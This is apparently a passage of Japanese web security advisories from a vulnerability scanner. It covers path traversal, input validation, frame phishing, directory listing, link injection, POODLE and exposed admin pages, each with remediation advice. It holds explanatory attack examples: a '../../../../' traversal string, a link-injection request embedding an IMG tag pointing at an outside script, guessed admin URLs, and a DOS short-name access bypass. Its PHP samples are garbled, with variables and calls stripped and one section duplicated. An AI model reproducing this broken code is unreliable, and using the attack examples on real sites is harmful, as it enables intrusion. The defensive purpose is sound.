http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## 推奨される修正 - PHP

** ファイル・パスの検証:

PHP では、ファイルを開く前にファイル名を検証する方法を多数提供しています。次に例を示します:

[1] file_exists() メソッド: このメソッドでは、ファイルまたはディレクトリーが存在するかどうかをチェックします。
ファイルまたはディレクトリーが存在すれば True を、それ以外の場合には False を返します。

```
 <?php
filename = '/path/to/foo.txt';
filename))
    {
filename exists";
    }
    else
    {
filename does not exist";
    }
 ?>
```

[2] is_file() メソッド: このメソッドでは、ファイル名が通常のファイルかどうかを示します。ファイルの場合には True を返します。

```
 <?php
filename = '/path/to/foo.txt';
filename))
    {
filename is a regular file";
    }
    else
    {
filename";
    }
 ?>
```

[3]
ユーザー入力を伴うファイル操作を実行するときには、必ず指定されたファイル名およびパスが所定の制限に準拠していることをチェックします。具体的には、ファイル操作は事前に定義したディレクトリー・ツリー内でだけ実行を許可するようにします。攻撃者は、例えば「../../../../」(注: この文字列は、多くのさまざまな形式にエンコードして文字列マッチング・アルゴリズムをバイパスさせることができます)
のようなパス・トラバーサル攻撃を使用して、所定のディレクトリーの外側でファイルを扱えるようにアプリケーションを騙すことがあるため、指定されたパス名が所定のディレクトリー名で始まっているかをチェックするだけでは不十分です。

ユーザーが指定したファイル名を検証するのに便利な PHP 関数が 2 つあります。

realpath() - カノニカライズされた絶対パス名を返します

basename() – パスのファイル名部分を返します

参照リンク:

[1] PHP マニュアル – realpath():
http://www.php.net/realpath
[2] PHP マニュアル – basename():
http://www.php.net/basename
[3] PHP マニュアル – file_exists():
http://www.php.net/file_exists
[4] PHP マニュアル – is_file():
http://www.php.net/is_file**
ファイル・パスの検証:

PHP では、ファイルを開く前にファイル名を検証する方法を多数提供しています。次に例を示します:

[1] file_exists() メソッド: このメソッドでは、ファイルまたはディレクトリーが存在するかどうかをチェックします。
ファイルまたはディレクトリーが存在すれば True を、それ以外の場合には False を返します。

```
 <?php
filename = '/path/to/foo.txt';
filename))
    {
filename exists";
    }
    else
    {
filename does not exist";
    }
 ?>
```

[2] is_file() メソッド: このメソッドでは、ファイル名が通常のファイルかどうかを示します。ファイルの場合には True を返します。

```
 <?php
filename = '/path/to/foo.txt';
filename))
    {
filename is a regular file";
    }
    else
    {
filename";
    }
 ?>
```

[3]
ユーザー入力を伴うファイル操作を実行するときには、必ず指定されたファイル名およびパスが所定の制限に準拠していることをチェックします。具体的には、ファイル操作は事前に定義したディレクトリー・ツリー内でだけ実行を許可するようにします。攻撃者は、例えば「../../../../」(注: この文字列は、多くのさまざまな形式にエンコードして文字列マッチング・アルゴリズムをバイパスさせることができます)
のようなパス・トラバーサル攻撃を使用して、所定のディレクトリーの外側でファイルを扱えるようにアプリケーションを騙すことがあるため、指定されたパス名が所定のディレクトリー名で始まっているかをチェックするだけでは不十分です。

ユーザーが指定したファイル名を検証するのに便利な PHP 関数が 2 つあります。

realpath() – カノニカライズされた絶対パス名を返します
basename() – パスのファイル名部分を返します

参照リンク:

[1] PHP マニュアル – realpath():
http://www.php.net/realpath
[2] PHP マニュアル – basename():
http://www.php.net/basename
[3] PHP マニュアル – file_exists():
http://www.php.net/file_exists
[4] PHP マニュアル – is_file():
http://www.php.net/is_file

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ずサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、各アプリケーション・パラメーターを検証する関数を実装することです。以下のセクションでは、チェックの例について示しています。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。
次に、要求されたフィールドを検証する例を示します。

```
  // PHP example to validate required fields
input) {
      …
ass = false;
input))>0){
ass = true;
      }
ass;
      …
 }
 …
fieldName)) {
      // fieldName is valid, continue processing request
      …
 }
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか)
の長さが最小値から最大値までの間であることを確認します。

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

[5] フィールドのオプション: 多くの場合 Web
アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT HTML
タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]+$

[7] Cookie の値: アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie の値にも適用されます。

[8] HTTP 応答

[8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、開発者が、危険な文字を対応する文字エンティティーに変換して HTML をサニタイズする必要があります。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

PHP には、htmlentities() などの自動サニタイズ・ユーティリティー関数がいくつかあります。

```
 $input = htmlentities($input, ENT_QUOTES, 'UTF-8');
```

さらに、クロスサイト・スクリプティングの UTF-7 バリアントを防止するために、明示的に応答の Content-Type ヘッダーを定義します。以下の例を参照してください。

```
 <?php

 header('Content-Type: text/html; charset=UTF-8');

 ?>
```

[8-2] Cookie のセキュリティー保護

秘密データを Cookie に格納して SSL を介して転送するときには、まず HTTP 応答に Cookie のセキュリティー・フラグを設定します。これによって、SSL 接続ではこの Cookie のみを使用するようにブラウザーに指示します。

Cookie のセキュリティーを保つ方法については、以下のコード例を使用することができます。

```
 <$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
 ?>
```

さらに、HttpOnly フラグを使用することをお勧めします。HttpOnly フラグが TRUE に設定されているとき、Cookie は HTTP プロトコルでのみアクセスできるようになっています。つまり、この Cookie は JavaScript のようなスクリプト言語ではアクセスできなくなります。この設定によって、XSS 攻撃による ID の盗用を効果的に減殺することができます (ただしすべてのブラウザーがサポートしている訳ではありません)。

HttpOnly フラグは PHP 5.2.0 で追加されました。

参照リンク:

[1] HTTP-only Cookies によるクロスサイト・スクリプティングの防止:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP セキュリティー・コンソーシアム:
http://phpsec.org/
[3] PHP & Web アプリケーション・セキュリティー・ブログ (Chris Shiflett):
http://shiflett.org/

## 参考資料と関連リンク

「Perl CGI problems」(著者: Forest Puppy)
「How To Remove Meta-characters From User-Supplied Data In CGI Scripts」

## フレームからのフィッシング

### アプリケーション

### WASC 脅威の分類

コンテンツ・スプーフィング
http://projects.webappsec.org/Content-Spoofing

### セキュリティー・リスク

知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます

### 考えられる原因

ユーザーの入力において、有害文字の除去が適切に行われませんでした

### 技術的な説明

フィッシングとは、攻撃者が正当な事業体になりすますソーシャル・エンジニアリング技法のことです。攻撃者はこの事業体と契約等の関係にある被攻撃者に対して機密情報 (多くの場合、ID やパスワード認証などの資格情報)
を入力させて、被攻撃者の機密情報を獲得します。獲得された情報は、攻撃者によって利用されます。基本的に、フィッシングは一種の情報収集です。

攻撃者は、悪質なコンテンツを含むフレームまたは I
フレーム・タグをインジェクションできます。サイトを閲覧しているユーザーは、よほど注意深くないと元のサイトから悪意のあるサイトに移動していることに気付きません。攻撃者は、ユーザーに再度ログインを行わせ、ログインに必要な資格情報を取得するのです。
元のサイトに偽のサイトを組む込むことで、攻撃者はフィッシング行為をよりもっともらしく見せることができます。

### 推奨される修正 - 全般

いくつかの防止方法があります。

[1] 戦略: ライブラリーまたはフレームワーク
-
ライブラリーやフレームワークを十分に検査し、このような弱点を発生させないようにするか、または発生しても簡単に回避できるような構成にしてください。

正しくエンコードされた出力を生成しやすくするライブラリーやフレームワークとしては、例えば、Microsoft の Anti-XSS Library、OWASP ESAPI Encoding モジュール、Apache Wicket などがあります。

[2] データが使用されるコンテキスト、および必要なエンコードを理解してください。
- これは、異なるコンポーネント間でデータを送信する場合、または Web
ページやマルチパート・メール・メッセージなど、複数のエンコードを同時に組み込むことができる出力を生成する場合に、特に重要です。必要となるエンコード方法を判別するには、必要なすべての通信プロトコルおよびデータ表現を調べます。
別の Web ページに出力されるデータ (特に、外部入力から受信されたデータ)
に関しては、すべての非英数字で適切なエンコードを使用してください。
同一出力文書の各所で別々のエンコードが必要になることがあります。これは、出力が以下のいずれの箇所に組み込まれているのかによって異なります。
[-] HTML 本文
[-] 要素属性 (src="XYZ" など)
[-] URI
[-] JavaScript セクション
[-] カスケーディング・スタイル・シートおよびスタイル・プロパティー
HTML エンティティー・エンコードは HTML 本文にのみ適していることに注意してください。
必要なエンコードおよびエスケープのタイプについて詳しくは、XSS Prevention Cheat Sheet (
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
を参照してください。

[3] 戦略: 攻撃対象領域の特定および縮小
- 信頼されない入力がソフトウェアに入り込む可能性のある潜在的な領域をすべて把握してください。
このような領域としては、パラメーター/引数、Cookie、ネットワークから読み取られる任意の項目、環境変数、DNS の逆引き、クエリー結果、要求ヘッダー、URL コンポーネント、電子メール、ファイル、ファイル名、データベース、
アプリケーションにデータを渡す任意の外部システムがあります。
このような入力は、API コールによって間接的に取り込まれる可能性がありますのでご注意ください。

[4] 戦略: 出力エンコード
- 生成される Web ページごとに、ISO-8859-1 や UTF-8 などの文字エンコードを使用および指定してください。
エンコードが指定されていない場合、Web ブラウザーは、Web
ページで実際に使用されているエンコードを推測して、異なるエンコードを選択することがあります。
これにより、Web ブラウザーで特定のシーケンスが特殊なシーケンスとして扱われ、クライアントが巧妙な XSS
攻撃にさらされるおそれがあります。
エンコード/エスケープに関する他の防止方法については、CWE-116 を参照してください。

[5] 戦略: 攻撃対象領域の特定および縮小
- ユーザーのセッション Cookie に対する XSS 攻撃を防止できるように、セッション Cookie を HttpOnly に設定してください。
HttpOnly 属性をサポートするブラウザー (最新バージョンの Internet Explorer や Firefox など) では、HttpOnly
属性によって、document.cookie を
使用する悪質なクライアント・サイド・スクリプトがユーザーのセッション Cookie にアクセスできなくなります。
ただし HttpOnly はすべてのブラウザーでサポートされているわけではないため、これは完全なソリューションではありません。
さらに HTTP ヘッダー (Set-Cookie ヘッダーを含む) に HttpOnly フラグが設定されていても、XMLHTTPRequest

やその他の強力なブラウザー・テクノロジーではそのようなヘッダーに対しても読み取りアクセスを実行することができます。

[6] 戦略: 入力検証
－すべての入力に悪意があると見なしてください。「既知の有効なデータを受け入れる」入力検証方法
(仕様に正確に適合する受け入れ可能な入力のホワイトリスト)
を使用してください。仕様に正確に適合しない入力はすべて拒否してください。あるいは、そのような入力を、仕様に正確に適合する入力に変換してください。悪質な入力や誤った形式の入力が登録されたブラックリストを過信しないようにしてください。ただし潜在的な攻撃の検出や、全面的に拒否すべき誤った形式の入力の判別には、ブラックリストは役立つことがあります。
入力検証を実行する際は、関連すると思われるすべてのプロパティー
(入力の長さ、入力のタイプ、許容される値の完全な範囲、入力の欠落または余分な入力、構文、すべての関連フィールドにおける整合性、ビジネス・ルールへの適合など)
を考慮してください。ビジネス・ルール・ロジックの一例を挙げると、「boat」は、英数字のみが含まれているため構文的には有効ですが、「赤」や「青」などの色が必要な場合には有効ではありません。Web
ページを動的に構成するときは、要求内で必要なパラメーター値に基づいて文字セットを制限する厳格なホワイトリストを使用してください。すべての入力を検証およびクレンジングする必要があります。ユーザーが指定することになるパラメーターだけでなく、要求に含まれるデータ
(隠しフィールド、Cookie、ヘッダー、URL 自体を含む)
もすべて対象となります。サイトで再表示される予定のフィールドのみを検証するケースが多いようですが、これでは XSS
の脆弱性が解決されません。開発チームが予期しなかったデータが要求から得られ、そのデータがアプリケーション・サーバーやアプリケーションで反映されることは、珍しくありません。また、現在は反映されていないフィールドを、今後、開発者が使用することがあります。そのため、HTTP 要求のすべての部分を検証することをお勧めします。
入力を検証することで多少の多層防御が行われる可能性がありますが、XSS
対策として最も有効なソリューションは、適切に出力をエンコードし、エスケープし、引用することです。その理由は、出力に表示されるものを効果的に制限できるからです。入力を検証したからといって必ずしも XSS が防止されるわけではありません
(特に、任意の文字を含めることができるフリー・フォーム・テキスト・フィールドをサポートする必要がある場合)。例えば、チャット・アプリケーションでは、ハートのエモーティコン (「<3」)
は、一般的に使用されるため、検証ステップをパスすると考えられます。しかし、「<」文字が含まれているため、このエモーティコンを Web
ページに直接挿入することはできません。エスケープするなどの処理が必要となります。この場合、「<」を除去すれば、XSS
のリスクは減りますが、エモーティコンが記録されないため、動作は正しいものではなくなります。これは取るに足りない問題のようにも考えられますが、不等式を表す必要がある数学的なフォーラムでは重要な問題となります。
検証で間違いを犯しても (例えば、100 個の入力フィールドのうち 1
つを忘れるなどしても)、エンコードが適切であれば、インジェクション・ベースの攻撃からは依然として保護されます。単独のプロパティーのみを対象にしなければ、入力検証は依然として有効な方法です。入力を検証することで攻撃対象領域が大幅に減り、一部の攻撃を検出できるようになり、正しいエンコードでは扱われない他のセキュリティー上の利点がもたらされる可能性があります。
入力検証は、アプリケーション内で、十分に定義されたインターフェースにおいて行ってください。こうすることで、コンポーネントを再利用したり別の場所に移動したりしてもアプリケーションを保護できます。

## 参考資料と関連リンク

FTC Consumer Alert －「How Not to Get Hooked by a 'Phishing' Scam」

# ディレクトリーの一覧作成

## インフラストラクチャー

## WASC 脅威の分類

ディレクトリー索引付け
http://projects.webappsec.org/Directory-Indexing

## セキュリティー・リスク

制限のかけられたファイルを含む可能性のある Web アプリケーションの仮想ディレクトリーの内容を、表示およびダウンロードすることができます

## 考えられる原因

ディレクトリー・ブラウジングが有効になっています

## 技術的な説明

***
別のディレクトリー一覧作成テストが同じリソース上で成功している場合、この問題は「脆弱ではない」として表示される場合があります。
***

Web
サーバーは通常、スクリプトおよびテキストのコンテンツを格納しているディレクトリーの一覧作成を許可しないように設定されています。しかし、Web
サーバーが正しく設定されていない場合には、ファイルではなく特定のディレクトリーに対してリクエストを送信することで、ディレクトリーの一覧を取得することができます。「some_dir」という名前のディレクトリーの一覧作成のリクエスト例:
http://TARGET/some_dir/

ディレクトリーの一覧を取得するもうひとつの方法として、Web サーバーにディレクトリーの内容一覧を強制的に返させる不正な HTTP
リクエストである URL Trickery 攻撃のように、Web サーバーおよび Web
アプリケーションの特定の問題を悪用する方法があります。これらのセキュリティーの欠陥は、お使いのアプリケーションまたはサービスのベンダーからパッチをダウンロードして、解決する必要があります。

Win32 オペレーティング・システム上で動作している一部の Web サーバーでは、短いファイル名 (8.3 DOS 形式)
を使用することでアクセス・コントロールがバイパスされる場合があります。 たとえば、ディレクトリー /longdirname/ は Web
サーバーによる閲覧が拒否されますが、その DOS 8.3 形式の記述である /LONGDI~1/ は閲覧することができます。

注: ディレクトリーの一覧は、通常は Web サイト上のリンクからは公開されない Web
ディレクトリー内のファイルの場所を特定するために、攻撃者が使用します。秘密の情報を格納している可能性のある Web
アプリケーションの設定ファイルおよびその他のコンポーネントを、この方法で閲覧することができます。

## 推奨される修正 - 全般

[1] Web サーバーを、ディレクトリーの一覧作成を拒否するように設定します。
[2] お使いの Web サーバーまたは Web
アプリケーションに存在する問題に対応した個別のセキュリティー・パッチをダウンロードします。ディレクトリーの一覧作成に関する既知の問題の中には、このアドバイザリーの「リファレンス」フィールドに記載されているものもあります。
[3] 短いファイル名 (8.3 DOS 形式) の問題を修正するには、このアドバイザリーの「リファレンス」フィールドにある CERT
アドバイザリーによる次善の対策を活用します。
a. Web サーバーのみによって保護するファイルには、8.3 形式の短いファイル名のみを使用します。FAT ファイル・システム (16 ビット)
では、「Win31FileSystem」レジストリー・キー (レジストリー・パス: HKEY_LOCAL_MACHINE¥System¥CurrentControlSet¥Control¥FileSystem¥)
を有効にする (1 に設定する) ことで、この形式の使用を強制することができます。
b. NTFS (32 ビット) では、「NtfsDisable8dot3NameCreation」レジストリー・キー (レジストリー・パス: HKEY_LOCAL_MACHINE¥System¥
CurrentControlSet¥Control¥FileSystem¥) を有効にする (1 に設定する) ことで、長いファイル名を持つファイルに対する 8.3
対応の短いファイル名の作成を無効にすることができます。ただし、この方法は 16
ビット・アプリケーションとの互換性に問題を生じる場合があります。
c. NTFS ベースの ACL (ディレクトリーまたはファイル・レベルのアクセス・コントロール・リスト) を使用して、Web
サーバーによるセキュリティーを拡大または置換します。

## 参考資料と関連リンク

Apache directory listing (CAN-2001-0729)
Microsoft IIS 5.0+WebDav support - directory listing
Jrun directory listing
CERT アドバイザリー CA-98.04

## リンク・インジェクション (クロスサイト・リクエスト・フォージェリーの助長)

### アプリケーション

### WASC 脅威の分類

コンテンツ・スプーフィング
http://projects.webappsec.org/Content-Spoofing

### セキュリティー・リスク

ハッカーが正規のユーザーになりすまし、ユーザーのレコードを表示または改変したり、ユーザーとしてトランザクションを実行するのに使用することができる、カスタマー・セッションおよび Cookie を盗み出したり操作することができる可能性があります
Web サーバー上の Web ページ、スクリプトおよびファイルをアップロード、改変または削除することができます
知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます

### 考えられる原因

ユーザーの入力において、有害文字の除去が適切に行われませんでした

### 技術的な説明

本ソフトウェアは、外部から編集可能な入力を使用してコマンド、データ構造、またはレコードを部分的に、または全体的に構成しますが、解析方法や解釈方法を変更する可能性がある要素を無効にすることはできません。

リンク・インジェクションとは、外部サイトへの URL、または脆弱なサイトにあるスクリプトへの URL
を埋め込むことでサイトのコンテンツを変更することです。攻撃者は、脆弱なサイトの URL
を埋め込むと、そのサイトをプラットフォームとして使用して、その脆弱なサイト自体に対してだけではなく他のサイトに対しても攻撃を開始できます。

想定されるこれらの攻撃の中には、攻撃中にユーザーがサイトにログインしていることを必要とするものがあります。このような攻撃を脆弱なサイト自体から開始すると、ユーザーがログインしている可能性が高いため、攻撃者が攻撃に成功する可能性が高くなります。

リンク・インジェクションの脆弱性は、後からサイトの応答でユーザーに返されるユーザー入力が十分にサニタイズされなかったために発生します。その結果、有害な文字を応答にインジェクションできるようになるため、他のコンテンツが変更されるときに攻撃者が URL
を埋め込めるようになります。

以下にリンク・インジェクションの例を示します
(サイト「www.vulnerable.com」に、ユーザーを迎えるための「name」というパラメーターがあると想定しています)。以下に要求の例を示します。
HTTP://www.vulnerable.com/greet.asp?name=John Smith

以下の応答が返されます:
<HTML>
<BODY>
Hello, John Smith.
</BODY>
</HTML>
しかし、悪意のあるユーザーは以下のような要求を送信します。
HTTP://www.vulnerable.com/greet.asp?name=<IMG SRC="http://www.ANY-SITE.com/ANY-SCRIPT.asp">

これに対しては以下の応答が返されます:
<HTML>
<BODY>
Hello, <IMG SRC="http://www.ANY-SITE.com/ANY-SCRIPT.asp">.
</BODY>
</HTML>

この例で示すように、攻撃者が求める事実上すべてのサイトに対して、ユーザーのブラウザーが自動的に要求を送出するようにすることができます。この結果、リンク・インジェクションの脆弱性を使用して、いくつかのタイプの攻撃を行うことができます。
[-] クロスサイト・リクエスト・フォージェリー
[-] クロスサイト・スクリプティング
[-] フィッシング

### 推奨される修正 - 全般

いくつかの防止方法があります。

[1] 戦略: ライブラリーまたはフレームワーク
-
ライブラリーやフレームワークを十分に検査し、このような弱点を発生させないようにするか、または発生しても簡単に回避できるような構成にしてください。
正しくエンコードされた出力を生成しやすくするライブラリーやフレームワークとしては、例えば、Microsoft の Anti-XSS Library、OWASP ESAPI Encoding モジュール、Apache Wicket などがあります。

[2] データが使用されるコンテキスト、および必要なエンコードを理解してください。
これは、異なるコンポーネント間でデータを送信する場合、または Web
ページやマルチパート・メール・メッセージなど、複数のエンコードを同時に組み込むことができる出力を生成する場合に、特に重要です。必要となるエンコード方法を判別するには、必要なすべての通信プロトコルおよびデータ表現を調べます。
別の Web ページに出力されるデータ (特に、外部入力から受信されたデータ)
に関しては、すべての非英数字で適切なエンコードを使用してください。
同一出力文書の各所で別々のエンコードが必要になることがあります。これは、出力が以下のいずれの箇所に組み込まれているのかによって異

なります。
[-] HTML 本文
[-] 要素属性 (src="XYZ" など)
[-] URI
[-] JavaScript セクション
[-] カスケーディング・スタイル・シートおよびスタイル・プロパティー
HTML エンティティー・エンコードは HTML 本文にのみ適していることに注意してください。
必要なエンコードおよびエスケープのタイプについて詳しくは、XSS Prevention Cheat Sheet (
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
を参照してください。

[3] 戦略: 攻撃対象領域の特定および縮小
- 信頼されない入力がソフトウェアに入り込む可能性のある潜在的な領域をすべて把握してください。
このような領域としては、パラメーター/引数、Cookie、ネットワークから読み取られる任意の項目、環境変数、DNS の逆引き、クエリー結果、
要求ヘッダー、URL コンポーネント、電子メール、ファイル、ファイル名、データベース、
アプリケーションにデータを渡す任意の外部システムがあります。
このような入力は、API コールによって間接的に取り込まれる可能性がありますのでご注意ください。

[4] 戦略: 出力エンコード
- 生成される Web ページごとに、ISO-8859-1 や UTF-8 などの文字エンコードを使用および指定してください。
エンコードが指定されていない場合、Web ブラウザーは、Web ページのエンコードを推測して、異なるエンコードを選択することがあります。
これにより、Web ブラウザーで特定のシーケンスが特殊なシーケンスとして扱われ、クライアントが巧妙な XSS
攻撃にさらされるおそれがあります。
エンコード/エスケープに関する他の防止方法については、CWE-116 を参照してください。

[5] 戦略: 攻撃対象領域の特定および縮小
- ユーザーのセッション Cookie に対する XSS 攻撃を防止できるように、セッション Cookie を HttpOnly に設定してください。
HttpOnly 属性をサポートするブラウザー (最新バージョンの Internet Explorer や Firefox など) では、HttpOnly
属性によって、document.cookie を
使用する悪質なクライアント・サイド・スクリプトがユーザーのセッション Cookie にアクセスできなくなります。
ただし HttpOnly はすべてのブラウザーでサポートされているわけではないため、これは完全なソリューションではありません。
さらに HTTP ヘッダー (Set-Cookie ヘッダーを含む) に HttpOnly フラグが設定されていても、XMLHTTPRequest
やその他の強力なブラウザー・テクノロジーではそのようなヘッダーに対しても読み取りアクセスを実行することができます。

[6] 戦略: 入力検証
- すべての入力に悪意があると見なしてください。「既知の有効なデータを受け入れる」入力検証方法
(仕様に正確に適合する受け入れ可能な入力のホワイトリスト)
を使用してください。仕様に正確に適合しない入力は、拒否するか、あるいは仕様に正確に適合する入力に変換してください。悪質な入力や誤った形式の入力が登録されたブラックリストを過信しないようにしてください。ただし潜在的な攻撃の検出や、全面的に拒否すべき誤った形式の入力の判別には、ブラックリストは役立つことがあります。
入力検証を実行する際は、関連すると思われるすべてのプロパティー
(入力の長さ、入力のタイプ、許容される値の完全な範囲、入力の欠落または余分な入力、構文、すべての関連フィールドにおける整合性、ビジネス・ルールへの適合など)
を考慮してください。ビジネス・ルール・ロジックの一例を挙げると、「boat」は、英数字のみが含まれているため構文的には有効ですが、「赤」や「青」などの色が必要な場合には有効ではありません。Web
ページを動的に構成するときは、要求内で必要なパラメーター値に基づいて文字セットを制限する厳格なホワイトリストを使用してください。すべての入力を検証およびクレンジングする必要があります。ユーザーが指定することになるパラメーターだけでなく、要求に含まれるデータ
(隠しフィールド、Cookie、ヘッダー、URL 自体を含む)
もすべて対象となります。サイトで再表示される予定のフィールドのみを検証するケースが多いようですが、これでは XSS
の脆弱性が解決されません。開発チームが予期しなかったデータが要求から得られ、そのデータがアプリケーション・サーバーやアプリケーションで反映されることは、珍しくありません。また、現在は反映されていないフィールドを、今後、開発者が使用することがあります。そのため、HTTP 要求のすべての部分を検証することをお勧めします。
入力を検証することで多少の多層防御が行われる可能性がありますが、XSS
対策として最も有効なソリューションは、適切に出力をエンコードし、エスケープし、引用することです。その理由は、出力に表示されるものを効果的に制限できるからです。入力を検証したからといって必ずしも XSS が防止されるわけではありません
(特に、任意の文字を含めることができるフリー・フォーム・テキスト・フィールドをサポートする必要がある場合)。例えば、チャット・アプリケーションでは、ハートのエモーティコン (「<3」)
は、一般的に使用されるため、検証ステップをパスすると考えられます。しかし、「<」文字が含まれているため、このエモーティコンを Web
ページに直接挿入することはできません。エスケープするなどの処理が必要となります。この場合、「<」を除去すれば、XSS
のリスクは減りますが、エモーティコンが記録されないため、動作は正しいものではなくなります。これは取るに足りない問題のようにも考えられますが、不等式を表す必要がある数学的なフォーラムでは重要な問題となります。
検証で間違いがあっても (例えば、100 個の入力フィールドのうち 1
つを忘れても)、エンコードが適切であれば、インジェクション・ベースの攻撃からは依然として保護されます。単独のプロパティーのみを対象にしなければ、入力検証は依然として有効な方法です。入力を検証することで攻撃対象領域が大幅に減り、一部の攻撃を検出できるようになり、正しいエンコードでは扱われない他のセキュリティー上の利点がもたらされる可能性があります。
入力検証は、アプリケーション内で、十分に定義されたインターフェースにおいて行ってください。こうすることで、コンポーネントを再利用したり別の場所に移動したりしてもアプリケーションを保護できます。

## 参考資料と関連リンク

OWASP の記事
クロスサイト・リクエスト・フォージェリー FAQ
クロスサイト・リクエスト・フォージェリー研修モジュール

# Padding Oracle On Downgraded Legacy Encryption (POODLE とも呼ばれる)

## インフラストラクチャー

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

ユーザー名、パスワード、マシン名などの Web
アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます

## 考えられる原因

Web サーバーまたはアプリケーション・サーバーが安全でない方法で設定されています

## 技術的な説明

SSL 3.0 には、CBC モード (暗号化ブロック・チェーン)
を使用して暗号化されたテキストを暗号化解除するときに埋め込みバイトを処理する際、弱点が存在します。
この弱点を中間者が利用すると、バイト当たり、わずか 256 回の要求を使用して、一度に 1 バイトずつ暗号化解除が可能になります。
接続が失敗すると、ほとんどのブラウザーでは、SSL 3.0 などの古いプロトコル・バージョンを使用してサーバーへの接続を再試行します。
そのためネットワーク攻撃者は、意図的に接続障害を発生させることで SSL 3.0 の使用を開始させ、この問題を悪用することができます。

サンプル活用:
脆弱なサーバーは、CBC 暗号スイートと TLS_FALLBACK_SCSV を使用した SSLv3 Client hello を受け取ると、ハンドシェークで応答します。

## 推奨される修正 - 全般

TLS_FALLBACK_SCSV のサポートを実装してください。
さらに、SSLv3 サポートを無効にしてください。
SSLv3 が必要な場合は、SSLv3 で CBC 暗号スイートを無効にしてください (詳細は、参考資料と関連リンクをご覧ください)。
CBC 暗号スイートが必要な場合、SSLv3 において CBC 暗号スイートよりも RC4
暗号スイートを優先して選択するようにサーバーを設定してください。

## 参考資料と関連リンク

Exploiting The SSL 3.0 Fallback
Redhat advisory;
How To Fix POODLE (And Why You're Probably Still Vulnerable)

# 管理ページへの直接アクセス

## アプリケーション

## WASC 脅威の分類

予測可能なリソースの位置
http://projects.webappsec.org/Predictable-Resource-Location

## セキュリティー・リスク

ユーザーの権限を拡大して、Web アプリケーションに対する管理権限を獲得することができます

## 考えられる原因

Web サーバーまたはアプリケーション・サーバーが安全でない方法で設定されています

## 技術的な説明

一般的なユーザーは、(Web リンクをたどるなどの)
簡単な方法で所定のページにアクセスすることができます。しかし、簡単な方法ではアクセスできないページやスクリプト
(たとえばリンクされていないページやスクリプト) があります。 攻撃者は、その名前 (admin.php、admin.asp、admin.cgi、admin.html など)
を推測して、これらのページにアクセスすることができます。例えば、「admin.php」という名前のスクリプトへの要求は次のようになります。
http://[SERVER]/admin.php

管理用スクリプトへのアクセスは、攻撃者が重要な権限を獲得してしまう可能性があるため、適切な許可を持たないユーザーに対して許可するべきではありません。

サンプル活用:
http://[SERVER]/admin.php
http://[SERVER]/admin.asp
http://[SERVER]/admin.aspx
http://[SERVER]/admin.html
http://[SERVER]/admin.cfm
http://[SERVER]/admin.cgi

## 推奨される修正 - 全般

管理用スクリプトへのアクセスは、攻撃者が重要な権限を獲得してしまう可能性があるため、適切な許可を持たないユーザーに対して許可しないようにします。

## 参考資料と関連リンク

CWE-425: Direct Request ('Forced Browsing')

## 非表示のディレクトリーを検出

### インフラストラクチャー

### WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

### セキュリティー・リスク

攻撃者が Web サイトをマップするのに利用できるサイトのファイル・システム構造についての情報を取得することができます

### 考えられる原因

Web サーバーまたはアプリケーション・サーバーが安全でない方法で設定されています

### 技術的な説明

Web
アプリケーションが、サイト内のディレクトリーの存在を明らかにしています。ディレクトリーのコンテンツは表示されていませんが、この情報は攻撃者がサイトに対するさらなる攻撃を行うのに役立つ場合があります。たとえば、ディレクトリー名を知ることによって、攻撃者はコンテンツのタイプとその中にあるファイルやサブディレクトリーに使われている可能性のあるファイル名を知って、アクセスすることができる場合があります。
ディレクトリーのコンテンツが重要であればあるほど、この問題の深刻度も高くなります。

### 推奨される修正 - 全般

禁止されているリソースが必要でない場合には、サイトから削除します。 可能であれば、「403 - Forbidden」の代わりに「404 - Not Found」レスポンス・ステータス・コードを返すようにします。この変更によって、サイト内のディレクトリーの存在をわかりにくくし、サイトの構造が公開されるのを防止します。

### 参考資料と関連リンク

# Microsoft ASP.NET のデバッグが有効

## インフラストラクチャー

## WASC 脅威の分類

